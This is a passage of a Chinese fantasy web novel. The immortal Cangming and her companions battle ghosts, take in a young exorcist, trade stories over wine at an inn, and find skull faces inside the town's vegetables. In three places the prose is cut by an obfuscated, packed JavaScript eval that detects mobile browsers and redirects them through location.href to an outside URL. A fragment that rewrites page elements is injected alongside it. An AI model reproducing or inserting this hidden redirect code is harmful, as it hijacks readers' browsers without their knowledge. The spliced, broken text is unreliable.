苍名向后一个倒扑虎,堪堪避开飞来的巨手。顺势一个大绞柱起身,云手背剑,坎身而翻。面前结成一道六角雪花法阵,对上天心沭的金珠骷髅,双方暗中较劲。 未辞冷冷地看着,双手暗结法印,一触即发。 这一头,音律和奏乐合铸成另一圈护体法阵,将苍名一行人围在中央。 妖兵魔将按照兵法阵型,叫嚣着杀了过来。每一列中,排头持盾,中间执矛,后方引弓,一列列分布开去,连成一片,却被法阵死死压制,一时攻不进来。 阴尸和厉鬼将长长的利爪伸过来,希声和无律还能腾出手来把它们一一打回去。 无律得意地说:“这法阵就叫击浪华声阵!” 希声立即反对:“为什么不是华声击浪阵?” 无律说:“因为不顺口啊!” 阴尸只会照着有人气的方位反复猛扑,直到被打得晕头转向。厉鬼则是有魂灵的东西,个个阴险狡诈,看出希声和无律难斗,突然几只胳膊像麻花一样绞成一股,伸进法阵,将一旁的红袍少年拖了出来。 红袍少年一惊,回手从后衣领中拔出一柄痒痒挠,左挥右击,舞得虎虎生风。 无律奇道:“你也会啊?” 少年左手虚挥痒痒挠,右手出实招拍去,将几个厉鬼打出一丈,朗声说:“回大仙前辈的话,弟子略通驱鬼之术!”说完,一眨眼之间已经单手连发数张大红色符纸。 希声称赞道:“好迅捷的身手!” 那些大红色符纸像囍字一样飞到僵尸厉鬼的脸上,搞得现场热闹非常,喜气洋洋。 僵尸被蒙住脸,顿时辨不清方向,竟然向副将摸了过去,引起一阵很脏的叫骂。 厉鬼都被红符烫得尖叫起来,猛地一齐把头拔了下来,向少年扔过来。苍名百忙之中一脚踢来几个小鬼,把那些脑袋撞开。 许多个没头的身子,栽栽歪歪地向少年扑过来:“不疼啦,哈哈哈,没有脸就不疼啦……” 少年远胜于同龄弟子,看起来也曾数次抓鬼历练过,眼下对付几个极邪之物仍然力不从心。 苍名大喊一声:“回去!”冰刃长剑反手一挑,把那些没头的身子挑起来扔进骷髅抓来的巨手里。 少年趁机重新跃入击浪华声阵中。未辞抿着嘴唇,紧紧盯着苍名的身影。 骷髅低头一看,手里抓着一把没头的鬼身,顿时大怒,一步踏上来,差点踩碎六角雪花阵的边缘。 希声见状,拨弦更为迅疾灵动,曲声湍急,摄人心魄。无律的鼓点也随之密集,一时间惊涛骇浪。 苍名十年来单打独斗,如今忽然随老友曲声而舞,万千感慨皆上心头。一记空翻,疾风骤起,衣摆猎猎作响,落地时冰剑向下一挥,喝道:“影来!” 深海蓝色衣袍上的花纹,如皮影戏一般动了起来。 天心沭全心全意操纵着金珠阵,仍然忍不住低喝一声:“好幻术!” 苍名衣袍下摆上的海浪花纹,正随乐曲鼓点起伏涨落,海上云卷云舒,明月高悬。不久,又有各色人物皮影从海中缓缓走出,迈着提线木偶的步伐,一步一步攀上圆月和浮云,一个个在天上舞棍弄棒起来。 嚓的一声,无律的鼓点急转。希声的弦乐陡然厚重激昂,奏潮华声曲的后半段如壮阔画卷般徐徐展开。 苍名一抛宝剑,宝剑随人同时在空中翻了几个侧翻,又稳稳落回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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无律得意地说:“不错,抓住这个门环就可以啦。这是我管那两个小鬼借的钥匙,额外多花了好几碗汤呢。” “我们来时就是用了他们家的钥匙,回去还要还给他们。”希声看了一眼苍名,把她的手拉上来放在铜环上,“走吧。” 未辞也把手放在铜环上,挨着苍名旁边。白光一闪之后,终于回到息园三坊。 希声立刻瘫倒在板凳上:“累死了,晚饭再叫我。”其余人也在长凳上坐成一排。 店小二已经捧来茶盘和热毛巾,还端出热茶水和坚硬的芝麻烧饼。无律大尽地主之谊,非要亲自给每个人奉上。又拍着店小二、小丫鬟的肩膀说:“这是本店营业主力!小伙子叫寻烟,小姑娘叫觅霞,有事尽管吩咐!” 红袍少年用毛巾认认真真地擦了脸、脖子、耳根。正在无律问他要不要擦身上的时候,少年把毛巾折好放下,走到四个人面前,深深向左边一鞠躬,猫腰扫过半圈,从右边直起身。 几个人愣愣地看着他,被这种一碗水端平的问候方式震住。少年抱拳说:“弟子魏羌,是老参派门下。” 11. 渔舟唱晚江 几人都一知半解,无律客气地说:“老身派?有所耳闻,有所耳闻……” 未辞哼笑了一声,徐徐说道:“老参派源于长白山下,以人参炼丹,掌天下珍奇药材,近两年势头极盛。” 无律一听说是老乡,立刻大加赞赏,还推了一把苍名:“打个招呼啊。” 魏羌谦逊地说:“今日有幸见到三位身手不凡的前辈,受益匪浅。”说着,压低声音问道:“几位是神仙吧?” 无律哈哈一笑:“在下音律仙无律,这位是奏潮仙希声,那位是鬼克星……” 寻烟在旁边凑趣说:“咱们小店不知怎么,风水这么好。” 无律一甩扇子,侃侃而谈:“散仙很难得吗?这个小小的屋子里就有三个。” 魏羌一脸艳羡,无律又说:“不过嘛,说难得也难得,一百年间,斩妖修行者无数,却只出了三位散仙,此时此刻都在这屋子里。” 一时之间,掌声雷动。希声睁开眼睛问:“那女鬼把你抓去,是为了什么?” 魏羌语惊四座:“她没有抓我,她是在救我。” 未辞一挑眉毛。魏羌继续说:“弟子南下寻找药材,有天夜里遭受伏击,是这女鬼大人出手相救,把我带回洞中。” 希声露出怀疑的神色,当即指出:“但你也跟女鬼他们打架来着。” 魏羌解释道:“我醒来后不知身处各地,乱踢乱打,倒是把山洞打坏了一块。后来在法阵里,阴尸厉鬼来打我,是,是……” 无律干咳一声:“是受我们连累。” 魏羌大惊失色,立刻跳了起来:“恩人何出此言!弟子这就挖些人参献上,以示感激!” 他冲出客栈,话音渐渐远去,只能看见一个背影拔出痒痒挠,四下狂挖。不多时,魏羌捧着一些花花草草回来:“中原挖不到野山参,这点草药还请前辈笑纳。” 希声推辞道:“不必,我们已是散仙之体,就是不吃不喝也无妨,更不用这些补品。” 无律恋恋不舍地看着那些草药,说:“是啊,是不用的……” 三人拉拉扯扯之际,魏羌突然放下那堆花草说:“告辞!”就一个筋斗翻出门去,不见踪迹。 无律立刻捧起花草,欣喜地说:“留着留着,作为本店土特产售卖……” 那边吵吵闹闹,这边未辞转头看着苍名,低声问:“还好吗?” 苍名勉强笑了一下:“你听见天心沭最后喊了什么吗。” 未辞恩了一声。 苍名深吸一口气,说:“未央冠,是我师祖的陪葬品,也就是后来……被偷走的那件法宝。这珠冠倍受争夺,几经易手,想不到竟被天心沭拿到了。可是它又丢了,我要到哪里去找线索呢?”她仰头看着客栈里悬挂的一排排纸人,一句话都不想说。 无律噢了一声,无忧无虑:“这样啊,就是当年被你偷走的那个珠冠吗?” 未辞冷冷一笑:“你看见了?” 无律不悦地说:“我是说,传闻被苍名偷走的那个。你这小孩到底是谁啊?” 未辞拿起茶杯,妖冶地一笑:“我也想问二位是谁。仿佛听到阁下自称三鲜,怎么起了道菜名?” 无律正要跟他掰扯,苍名抬起头,面色凝重地问:“无律,希声,你们到底为什么在这里?” 无律委屈地大叫起来:“我本来就在这里开店啊,我还想问你来干什么呢!” 希声说:“我说了,逢焉城丧事多,我过来吹曲儿赚钱。这家破客栈鬼气十足,我就进来看看,想不到碰见你们两个。” 无律理直气壮地质问苍名:“你怎么还在怀疑我们?难不成是我们设局把你引来,为了顺藤摸瓜,顺你摸冠?” 希声瞟了未辞一眼:“倒不如怀疑他。” 未辞不紧不慢地说:“如果是你们和天心沭串通起来做戏,为了让我们放松警惕呢?谁都没见到那珠冠,怎知不是幌子?” 希声反唇相讥:“什么地牢里的珠冠,我们是没见过,但你和苍名却是先出现在地牢,怎知不是你小子偷走了?或者你干脆就是和女鬼一伙?” 无律立刻上下打量未辞的胸脯和腰,企图找出珠冠的形状,结果说了句:“身材不错的……”希声不满地看了他一眼。 未辞默默转向苍名,却垂下眼帘,仿佛不敢正对着她。沉寂了一会儿,他静静地说:“将军,你信我吗?” 苍名恍恍惚惚地说:“我其实……叫我什么?” 无律抢着说:“看看看,他更可疑了!” 苍名突然如梦初醒:“我还要帮他讨债,先告辞了。如果魏羌回来,务必留下他。” 说着不等无律和希声回答,就拉起未辞,逃也似地冲出了旅店。 觅霞在后边喊:“客官,您要不要带几个新出锅的点心——” 苍名边跑边回头喊:“回来再吃,谢谢——” 一路狂奔乱走,再一抬头,原来是跑到了古董店门前。苍名松开未辞,靠着大树喘了一阵,不知不觉出溜下去,坐在树根下发呆。 未辞也在她身边席地而坐,看着天边的灿烂光华。傍晚时分,青蓝色笼罩四野。 逢焉城中灯火渐次亮起,炊烟此起彼伏。城尽之处,江水起伏涨落,远山淡影,落霞长天。 未辞吹了声口哨,看着远方说:“那两个饭桶,确实不像要害你性命。” 苍名笑了:“他们也没那么饭桶。” 未辞促狭一笑:“我又没说是哪两个。” 苍名立刻抵赖:“我也没说是哪两个。” 两人脸对着脸,忍不住一起笑起来。 苍名望向逐渐变暗的天际,凝神不语。 一天之内,天翻地覆。反目成仇的人突然变回同盟,仿佛中间一段岁月是一场大梦。 未央冠是一件绝世法宝,持冠者力同天神,统治人间易如反掌。时隔多年,未央冠惊鸿乍现,当年祸乱天下者,是不是就是引她来此地的人? 风雨欲来,人世即将要变天了。 苍名缓缓地说:“我的目标是修炼成神,报仇雪恨,庇佑人间,匡扶正义,证道天下,探索宇宙终极奥义!” 未辞:“……” 刚才那几句,说得有点累,苍名咳了两声,恢复了半死不活的丧气模样:“这是我刚开始流浪时的想法,多年来已成根深蒂固的执念。但如果最后全都求而不得,这一生又该为了什么而活下去呢?我没有父母亲人,值得快乐的事情太少啦。” 未辞许久没有回答。苍名抬起头,发现他一直看着自己,急忙说:“抱歉抱歉。你也有你的痛苦和烦恼,还要听我念叨……” “珠冠再现江湖,正好可以寻仇了。”未辞就像能看透她的内心,自然而然地说,“有助于你实现,宇宙终极奥义?” 苍名纳闷地说:“话是没错,被你说出来怎么听着这么傻?” 未辞摸着下巴说:“哦,那我再多练练。” 苍名展颜一笑,未辞深深地看了她一眼,又立即转开头。 “中野飞鸥可真是一朵解语花。”苍名故意把脸伸到他面前夸奖道。未辞缓缓抬眼看着她的眼睛,她的瞳仁里倒映的五光十色的晚霞,再向下是微翘的鼻尖和含笑的嘴唇。 他的声音低沉嘶哑:“将军,你轻信我倒是没错,但是对别人不要这样。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172725|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 苍名不以为然地说:“怎么会,我只是十九岁化仙,不是把心智也封在十九岁了。” “你不怀疑我到底是谁?” 苍名学着他的样子摸着下巴说:“是妖王中野飞鸥,是一个懂得很多的人。比如,你知道我是忘仙派弟子,也知道我是舞将军。” 古往今来,习武修仙之人凭独门招式彰显身份,比亮出名贴还要好使。刚落难时,苍名隐姓埋名,头戴丑陋面具,不再使出忘仙派剑舞,更不召出六角雪花法阵。那时她四处抓鬼,多用跳大神或傩术的方式。舞舞扎扎,故弄玄虚,最后在满屋子光怪陆离的法器中悄悄施法,掩人耳目。 直到人间淡忘了舞将军,苍名才重新启用尘封多年的剑舞法阵。世上已经少有人认得流风回雪的传奇。 . 千百年后,说书人讲到此处,必然醒木一拍,重述忘仙派昔日的辉煌。 不知是哪一朝哪一世,泱泱古国,车马鎏金。邪祟鬼怪,一朝得志,吸食了太平盛世的浩荡灵气。 歌舞升平之处,妖鬼四起之时。 极乐乱世之中,众多佛道教派应运而生,如八仙过海,各显神通。 各派修行要义不同,奇门法术各异,所求之道纷繁,但终极使命却出奇地统一,哪怕是自诩最超脱的派别也不例外:斩妖除魔,积德升仙。 关外北疆,一位女师祖创立忘仙派。派中弟子苦练剑舞,寒来暑往。 某一年,有个妖怪吞噬了渡劫的闪电,横空跳出,天崩地裂。妖怪召集了一群妖军,向皇城进攻,妄图统治天下。 忘仙派的一群弟子最先赶到,拦住妖怪大打一场,斗法斗得天翻地覆。 只见法阵上一圈年轻弟子,美女俊男,如星如虹。 起先持剑而舞,时而凌空跃起,时而探海入云,忽而肆意延伸犹如风中柳,忽而飞速旋转恰似过天星。 待法场压制住群妖时,陡然出剑,剑法既武且舞,精深绝妙,将群妖尽数斩尽。 其中一名十九岁的少女,那一天尤其沉醉,长剑漫舞,天人合一,物我两忘,有如神助,破敌万千,一战升仙。因其冲锋陷阵,率领群英,如同年少神将,人称“舞将军”。 既然修成了散仙,舞将军便出师游历。散仙无拘无束,不老不死,只差一步就能位列仙班。 次年腊月,天象大异,合该紫微星降世,却只有一位丧门星诞生。 丧门星舞将军,风光无限时,爹娘却离奇身亡,死无全尸。还没出腊月,忘仙派师祖因病离世,匆匆下葬后竟被盗了坟墓。相传是丧门星家门不幸,内心扭曲,先下药害死了师祖,再掘墓偷走了陪葬的珠冠。珠冠是无上法宝,非陪葬不能显露于世。丧门星为世间所不耻,被同门弟子四处追杀,其他三派也对其群起而攻之。 后来丧门星勾结官宦,豢养妖鬼,屠尽师门,残杀其他三大流派,而后隐居山林,从此不知所踪。 一代名将山水惊鸿,呼朋唤友。一朝陨落天地难容,此道未酬。 . “未辞!”苍名突然一惊,一把抓住他的胳膊。 “恩?” “那你知不知道,我其他的外号?” “知道啊,鬼克星。” “不是这个!” “抓鬼姐。” “哎呀,算了,不知道就好……” 未辞顺从地说:“恩,是的,我不知道。” 苍名站起来,拍了拍裙摆:“走吧,去帮你讨债。” 未辞也站起来,微笑着说:“已经讨到了,下次吧。” 苍名转过头,假装在眺望晚霞的余晖,慢慢地笑了起来。 12. 温酒有余情 古董店后门传来铁甲铜人的送客声。 未辞问:“进来喝杯茶吗?” 苍名想起冰刃宝剑,急忙把它从身侧解下来还给他:“谢谢,真是把好剑,又轻又重的。” 未辞接过宝剑,走上台阶,用尖端点了点正门。两扇大门华丽庄严,隆重打开,未辞回头抬手说:“将军,请。” 苍名踏进大厅,飞瀑流云,天梯高耸,如入九重华梦。 打烊后的铜人贴墙站着,一动不动。侍者们从各个角落现身,鱼贯而入,汇集交错,又四下散开。一时之间人影平息,石桌上已经布设了茗茶点心。 苍名接过未辞递来的一盏茶,一回身坐在水边的大青石上,冷不丁问了一句:“你是妖吗?” 未辞倒茶的手停顿在半空。沉默片刻,他勉强地笑了一声:“为什么不能是鬼?” 苍名看着他白皙的肤色,认真地说:“不太像,你比鬼好看多了。”想到天心沭手下那些歪瓜裂枣,她又补充道:“当然,比那些妖也好看。” “是吗。”他的眉毛压了下来,使得微微狭长上扬的眼睛更加深不可测。 苍名一把放下茶杯,如释重负地感慨道:“你是妖真是太好了!你都不知道,我之前还担心几十年后你就完了,那我会给你上坟……” 未辞愣住了,呆呆地看着她:“为什么担心?” 苍名说:“灵秀飘逸,天人之姿,若俯仰之间便不复存在,岂不令人伤怀。” 未辞还是定定地看着她。苍名起身闲逛到古董柜前,若无其事地岔开话题:“这都是你巧取豪夺来的?” 未辞走到柜台之后,从货架上拿了一件黑咕隆咚的玩意,转身递给苍名。 苍名接过来一看,是个烟熏火燎的陶人,脑袋和身体一边粗,脚比脑袋大。 苍名翻来覆去玩了一会儿,忍不住问:“这是男的女的?” 他在柜台后方,居高临下:“这是民间一位给人看事的老太太,人称算命李。天生阴阳眼,后来自学周易。” 苍名点点头:“算命好啊,趋利避害,还能赚点零花。” 他接着说:“李老太太一生积德,一生潦倒,重疾厄运,生离死别,循环往复。后来她怨念难平,变得恶毒乖戾,说好人从没有好报。” 苍名抬头微微一笑:“可是如果不做好事,说不定会倒更多霉呢?” 未辞也轻声一笑:“你说得对。” 他把人形玩偶拿走,又放了个巴掌大的琵琶在她手里:“这是千境琵琶,相传能同时奏出千种不同乐器的声音。当年一位茶馆中的乐师发明了它,名动京城,炙手可热。” 苍名轻轻拨动琵琶上的弦,只有隐约的叮咚声。 他说:“四十岁以后,乐师突然得了双手麻木的怪病,后来落魄街头,无人问津。” 苍名淡淡地说:“命里无时莫强求。” 未辞赞许地说:“不错,命里无时莫强求。” 苍名把琵琶还给他,勉为其难地笑了一下:“呵呵。” 未辞又依次拿出几样物件给苍名看,每次她还没有看够,未辞就又换了一件放到她手里。有能照出鬼魂的镜子,有蛇舞蝶飞的披肩,还有一对能收集秋天桂花香气的木盒。 苍名放下手里的易容胭脂,看着窗外说:“不早了,我该回息园三坊了。” 未辞随之起身,把两样东西交给苍名:“这有点东西,要劳你带回去给那两个饭桶。” 一样是千境琵琶,另一样是几包膏药。 苍名惊讶地抬头看着他:“送给那两个饭……送给希声和无律吗?” “恩。奏潮仙没有法宝,送她个琵琶。”未辞懒洋洋地说,“音律仙已经炼了拐杖做法宝,送他几贴膏药算了。” 虽然接了不好,但又确实想接。 苍名欲言又止,一双眼睛滴溜溜地看着那堆东西。 未辞好像又看出她的心思,微笑着说:“这东西放在我店里也是落灰,不如变废为宝,派点用场?” 苍名腼腆地接过来:“谢谢了,下次给你带两只鸡。” “别忘了,还欠我一顿饭。”未辞抱起手臂,歪着头看着她。 “那是一定一定。”苍名觉得有点无地自容,匆匆忙忙地说,“告辞,回见!” “将军。”未辞突然郑重其事地叫了一声。 好英俊的声音。苍名想着,答应了一声。 未辞向后一甩下摆,单膝跪地,双手呈上冰刃宝剑:“这把剑,应该属于你。” 剑鞘如同白雪,剑柄好似晚星。苍名这下连连摇头:“这个我不能收,要不然你借我一把桃木剑好了!”又拉着他的手臂说:“小老朋友不必行此大礼。” 未辞岿然不动,双手把长剑又往前送了送:“这把剑本就属于你,也只有在你手里能成为一代神剑。” 苍名就像被摄魂取魄一样不由自主地接了过来,说:“那你需要的时候,我再还给你。” 未辞起身一笑,面色如常:“好不好拿?我送你回去。” 苍名满手捧着一堆他送的东西,嘀了当啷,像小贩举着的货架一样花。 她不好意思再麻烦未辞,急忙说:“好拿,我可以,再见。”说着扭头狂奔,直到拐进小巷,才猛地停住脚步。一颗心脏还在起起伏伏地跳着。 息园三坊里总是有几个散客自斟自饮,是人是鬼都不重要。 当苍名满载而归的身影出现在夜色阑珊的门外时,无律一声令下:“开饭!” 寻烟和觅霞抬着一架屏风走来,放在大厅的一角,隔出一片清静雅座。 无律介绍道:“这是隔音屏风,施了咒的。” 希声开始分发碗筷,苍名帮着上菜,一时间屏风后面热气腾腾,仿佛寻常人家。 五人围着圆桌落座后,寻烟和觅霞笑嘻嘻地帮大家分汤。其余三人面面相觑,突然安静下来,反倒不知道说什么好。 苍名干咳一声,优雅地从觅霞手中接过汤碗,低声柔和道谢:“有劳费心了。”接着转头凝视窗外的月亮:“万里无云,夜空如洗,明天大概是个晴朗的日子,你们说呢?” 无律说:“你心情不错啊,是抓鬼赚到钱了?” 希声则说:“你带回来的那堆破烂要卖吗?” 苍名恼羞成怒:“我刚才不是去抓鬼!那也不是破烂!” 无律机灵地说:“那一定是霍贤弟收来的旧货,送你玩的。” 苍名哈哈一笑,觉得这么说也没错,于是把两样东西交给他们,言明是未辞的美意。 “天呐!”无律惊呼起来,“感谢霍贤弟的馈赠!” 希声用看白痴的眼神看了他一眼:“再纠正一遍,那人不姓霍。”然后把玩具似的小琵琶托在手上,轻轻拨了几下。 琵琶如遇明主,周身散发出流金光晕,腾地一下变成正常大小,把希声吓了一跳。 苍名兴致勃勃地建议:“弹一曲试试!” 希声熟练地抬手起范,一曲哀乐乍然响起。顿时有千百种乐器的合奏声从琵琶弦上腾空而起,仿佛来自一支由天下最卓越的乐师组成的乐队。 无律大声喝采:“好!毕竟是仙,真不白给。” 就连平日里不多言不多语的兄妹俩也跟着叫好,脸上笑容更灿烂了。 希声缓缓收手,抬起激动的脸:“有了它,我可以更好地卖唱了!” 苍名说:“去吧,去吧……” 希声收起琵琶,看着她说:“虽然是那个旧货郎送的,其实却要承苍名的情。有了它,也可以更好地襄助你了。” 苍名说:“是我要多谢你们来救我,没想到你们这么猛,我本以为,哈哈。”言尽于此,立刻冷场。 觅霞虽然不知道三人之间的爱恨情仇,但敏锐地察觉到现场气氛欠佳,就说:“我去烫壶酒来,希姑娘和苍姑娘远道而来,掌柜不跟她们叙叙旧吗?” 苍名接口道:“不错不错,是要叙旧。” 希声苦笑道:“不知从何叙起?” 苍名一挥手:“不如从掌柜开始,每人喝一杯酒,然后向右首的人提一个问题,问这些年来的遭遇境况。被问者若有为难之处,可以不答,如何?” 无律唱票,全票通过。于是觅霞为三仙斟上酒,给自己和寻烟倒了无花果雪梨汤。 无律举起酒杯一仰脖就干了,苍名拍着桌子叫道:“好!” 众人都看着无律,等着听他问什么问题。 无律面朝右手边的寻烟,深情地问:“这些年,哥对你怎么样?” 寻烟奇怪地说:“掌柜对我们当然没得说了,收留之恩,没齿难忘。” 无律满意地说:“展开讲讲。” 寻烟绘声绘色,声情并茂:“掌柜的天纵奇才,精通商贾,勤勤恳恳,发家致富……” 希声说:“好了,下一个。” 寻烟喝了一杯酒,转向右手边的觅霞。苍名笑道:“兄妹俩之间还有什么可问的吗?” 寻烟却对觅霞说:“小妹,你怪我吗?” 希声睁开眼睛疑惑地看了他一眼,无律一脸期待的表情。 觅霞愣了一下,摇摇头:“当然不了。活着已经很好了。” 虽然不知道他们在说什么,但苍名顺口接了一句:“活下去就一定是好的吗?也不一定。” 无律切了一声:“又来了,什么是好,什么是不好?活着不过那么回事。” 苍名回呛道:“自己觉得好的,就是好。自己觉得不好的,就是不好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172726|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 希声淡淡地说:“是啊,可惜我不知道自己每天好不好。” 觅霞举起杯子喝了一口,笑着说:“哎呀,几位打哑迷呢?该我问希姑娘了。” 希声点点头,觅霞就问:“姑娘是爱吃重口味的么?其实我从一开饭就想提醒你了,那一碟是咸菜,不是开胃点心……” 希声停止了咀嚼,看着那碟已经见底的咸菜,陷入了沉思。 觅霞又问:“姑娘为什么时常入定,可是什么修行的法门?” 希声又沉思了一会儿,才突然回过神来:“什么?” “问你为什么没味觉,还总丢魂儿。”无律好心提示道。 “哦,那个是老毛病了。”希声摆摆手,“我爹病了十几年了,我娘自己照顾他,叫我总是记挂。” 苍名迟疑地说:“如果回老家呢?” 希声说:“我家只是个小荒村。” 无律同情地问:“莫非你十几年来一直在漂泊和回家之间游移不定,郁郁寡欢,食不知味,魂不守舍?” 希声点头说:“结果让万花镜钻了空子,被那东西缠上了。” 苍名和无律都啊了一声。 苍名问:“打跑了吗?” 希声说:“打跑了,就是有点后反劲。” 万花镜是种无形无声的难缠小妖,一旦寄居在谁的心上,就会时不时突然膨胀作祟,使得阴湿、困倦、呆滞、烦躁、愤怒的感觉灌满人的躯干四肢。此时人就如被一张大网困住,里面出不去,外人进不来。 苍名黯然地想,希声为生计四处飘零,如果当初是为了赏金才来抓她,似乎也可以被谅解。 这时,希声转向了右手边的苍名:“如果我说,我当初并不想抓你,你信么?” 苍名吓了一跳:“你会读心术啊?” 希声喝了一杯酒,说:“刚才那句,就是我问的问题。” “那我也……”无律欲言又止,最终什么也没说。 苍名垂头道:“我……” 希声打断她:“年代久远,死无对证,不用答了。你问下去吧。” 苍名说:“好。”举起酒杯喝了一口,酒浆入口柔和,带有桂花香气。 “欲买桂花同载酒,终不似,少年游。”苍名缓缓念出一句。 “哦哎,问我了问我了。”无律把手伸到她眼前挥了几下。 苍名侧头望着他,目光犀利,上下扫射,阴沉地笑了一下:“哼。钟无律,我问你——” “什么。”无律紧张地往后缩去。 “你这客栈——”苍名瞳孔中凶光一闪,“怎么还没倒闭?” “切!”无律松了口气,一连喝了两杯酒,“南来北往的人鬼妖魔,都在我这儿打尖喝汤,没钱的时候就说几件内幕情报抵账,我再把这些情报转手卖掉。” 苍名呵了一声:“我就说吗。” 无律得意地说:“还想问什么,尽管开口。” 苍名便问:“什么是中野飞鸥?” 无律说:“干什么,眼红人家啊?” “不说拉倒。” “切。” “对了,森林边缘的古董店,是什么来头?”苍名往后一靠,喝着酒说,“不知你答不答得上?” 无律哈哈一笑:“本情报站什么不知道?”接着甩开折扇,绘声绘色讲起了古董店。 无名古董店,汇集天下珍宝,包罗万象奇景。店中藏品件件功效奇谲,举世无双。坐拥满屋稀世珍宝,就如同俯瞰着前来朝拜的四方将臣;任意一员大将,都足以搅动半个冥界。 有的妖鬼需要增强法力,就来此店高价租借法宝。有的妖鬼手持祖传器物,来此店典当。冥界爆发战乱时,各方合纵连横,勾心斗角,无一不想拉拢古董店主。久而久之,这间古董店,竟成了妖鬼魔界总调度中心。 苍名举手提问:“讲得好,但为什么是无名古董店?” “应该就叫无名吧。”希声好像突然从睁着眼睛的休眠中惊醒,“后来讲到什么?租借法宝?” 苍名一咬牙还是问了出来:“不是叫……苍名古董店吗?” “?”全场都惊呆了。 晚间,最后几个散客离开后,息园三坊落下门锁。苍名已经在院子里练过了晚功,无律说她把脚抬到树上压腿,不考虑树的感受,苍名勃然大怒,说自己是凭自身力量控腿,只是虚搭树干而已,俩人又吵了起来。 寻烟和觅霞正在擦桌子洗碗筷,叽里呱啦地讨论着,努力找出能配套而又没有豁口的碗。 希声沉默地拿着一把二胡蹲在院子的老鼠洞前。一听见吱吱声,她就抡起二胡砸了过去,追着几个大黑耗子满地跑。 今天的息园三坊,也是鸡飞狗跳的一天。 13. 立冬夜逢魔 苍名沿着长街赶集时,天色尚且雾气朦胧。日出之前,城中的小贩推着木车、赶着驴车来到此处,谈论风霜雨雪,叫卖着即将到来的冬季。一地菜叶,满城喧嚣,逢焉城在此时流露出少有的人气。 连续几天,苍名早出晚归,四处追查绣花鞋妖和珠冠的痕迹。但鞋妖藏得严严实实,城里一件闹鬼的事都没有发生,城里迎来十几年来最罕见的一段安宁。据无律那些分布在四面八方的线人说,冥界那座黑山一夜之间夷为平地,就像不曾存在过。希声认定天心沭连夜炸了山洞,而后远走高飞,再去冥界也是一筹莫展,劝苍名不要再去管旧货郎借钥匙。 “白菜了啊,白菜,全市场最新鲜的白菜!” “姑娘,看看冬瓜?” 苍名左右逢源,应付着两边的摊贩,一个劲说:“谢谢谢谢,我记住你了,如果要买就来你这儿——” 又走出一段,有个破衣烂衫的老汉高声吆喝道:“葫芦——福禄,一只十文,两只十五——” 街对面的大嫂不甘示弱,咔咔两下撸起衣袖,露出圆柱般的手腕:“辟邪锁,平安符,核桃木——” 她的叫声淹没在年轻小伙的爆吼声里:“开过光的门神像!开过光的钟馗!开过光的灶王爷!” “现在的年轻人,有爹生没爹养。”老汉拉下一张老脸,怨气冲天地吐了口痰,“你们就不能去别的地方卖?跟我老头子抢什么生意。” 大嫂立刻不乐意了:“这大街又不是你家的,老娘爱在哪卖在哪卖!” 她的话引起了旁边几个小菜农的哄笑:“听听,她要去卖!” “去你妈的!”大嫂横眉立眼,双手叉腰大喝一声,“老娘生孩子的时候,你们还在喝奶!” 那边的小伙沉着脸骂道:“嚎什么丧,别耽误你老子做生意!” 大嫂猱身上前,埋头撞去,发出一声石破天惊的长啸:“操!” 小伙被她的铁头撞了个正着,一手捂着胃踉跄后退,一手抡起铁锹歇斯底里地喊:“为什么都来搞我?为什么都来搞我!” “你欺负我们孤儿寡母!” “你们欺负我老头子不中用!” “我欠的债已经还不上了啊!你们知道吗!为什么都来搞我,你们为什么还来跟我做对……” 苍名略施法诀,隔开了互相撕打的几个人,丧气地看了一会儿。在这座城里,人人都在挣扎,就像在水中载浮载沉,但永远徒劳无功,从来摸不到岸边。苍名伸手掏兜,露出命苦的微笑。兜里只有几个铜板,想必市集上的其他人也一样。既然囊中羞涩,就无论如何也不能买别人的东西。不买别人的东西,又怎么让别人有钱买自己的东西? 苍名抱起膀子:“也不知道钱都去哪了。” 一旁的小菜农对苍名说:“姑娘,买倭瓜吗?立冬吃点好的!” 苍名随口说:“好啊,劳驾切一块,不要太宽……” “好嘞。”小菜农麻利地抄起家伙,手起刀落切下一截倭瓜,随即吓得大叫一声。 苍名一扬眉毛:“怎么了?” 小菜农颤抖着举起切开的倭瓜。带着新鲜汁水的刚切开的断面上,有中空的洞和倭瓜的籽。那赫然是一张骷髅的脸。 人们都说,逢焉城是逢鬼城,这下真的见鬼了。 这一天里,城中所有人家切开黄瓜、倭瓜、萝卜、馒头时,都露出一张清晰可怖的骷髅面孔。 苍名坐在息园三坊的大堂,抱着头喃喃自语:“这可真是一波未平,一波又起。” 整整一个白天,她在城里走街串巷,遍访乡亲邻里,一一查验那些骷髅。越走访越心惊,因为这根本就——走访不完。 不少人家还去揪着卖辟邪之物的货商大骂骗子,苍名又顺带调节邻里纠纷,简直比当地父母官还忙。 “今晚吃饺子怎么样?”无律不在意瓜果蔬菜里有没有骷髅,提起菜刀当当一阵乱剁,又问苍名,“你愁什么?有鬼抓了,你不就能赚钱了?” 